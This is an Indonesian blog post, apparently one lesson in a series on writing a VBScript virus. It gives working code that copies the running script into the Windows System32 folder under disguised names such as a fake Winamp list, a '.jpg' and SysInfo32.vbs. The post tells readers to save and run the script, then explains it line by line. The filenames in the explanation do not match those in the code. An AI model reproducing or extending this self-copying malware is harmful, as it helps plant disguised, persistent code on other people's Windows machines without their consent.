Tidak ada yang perlu dijelaskan karena kodenya sama dengan mengkopikan diri ke folder windows perbedaannya hanya terletak di nilai GetSpecialFolder nilai nol ( 0 ) diganti satu ( 1 ) berikut kodenya:
on error resume next
set dendrif=CreateObject("Scripting.FileSystemObject")
set vs=dendrif.OpenTextFile(Wscript.ScriptFullName)
c1vs=vs.ReadAll
vs.close
set sys32=dendrif.GetSpecialFolder(1)
set c2vs=dendrif.GetFile(Wscript.ScriptFullName)
c2vs.Copy (sys32 & "\listWinamp.vbs")
c2vs.Copy (sys32 & "\sarah.jpg")
c2vs.Copy (sys32 & "\SysInfo32.vbs")
msgbox"virus telah berhasil di kopi ke folder system32",vbinformation,"Tes virus..."
Simpan dengan nama contoh kopisys32.vbs, lalu coba jalankan....
penjelasan script
on error resume next = bila terjadi kesalahan lanjutkan ke perintah selanjutnya
set dendrif=CreateObject("Scripting.FileSystemObject") ==> menset dendrif sebagai penghendelan file objek untuk pembuatan file atau hal lainnya yang dibutuhkan vbs ,saya juga kurang paham arti khususnya
set vs=dendrif.OpenTextFile(Wscript.ScriptFullName) ==> menset vs untuk penghendelan membuka virusnya sendiri (Wscript.ScriptFullName)
c1vs=vs.ReadAll == >variable c1vs digunakan untuk pembacaan virus secara keseluruhan
vs.close ==> pembacaan virus selesai dan di tutup
set sys32=dendrif.GetSpecialFolder(1) ==> penghendelan untuk mendapatkan folder System32
set c2vs=dendrif.GetFile(Wscript.ScriptFullName) ==> menset c2vs untuk mendapatkan informasi virus
c2vs.Copy (sys32 & "\runs.vbs") ==> mengkopi virus ke folder system32 dengan nama runs.vbs
c2vs.Copy (sys32 & "\rani.jpg") ==> mengkopi virus ke folder system32 dengan nama rani.jpg
c2vs.Copy (sys32 & "\SysInfo32.vbs") ==> mengkopi virus ke folder system32 dengan nama SysInfo32.vbs
msgbox"virus telah berhasil di kopi ke folder system32",vbinformation,"Tes virus..." ==> menampilkan pesan pengkopian ke folder system32 berhasil….
Screenshot hasil pengkopian:
 |
| pengkopian ke folder system32 |
Tidak ada komentar:
Posting Komentar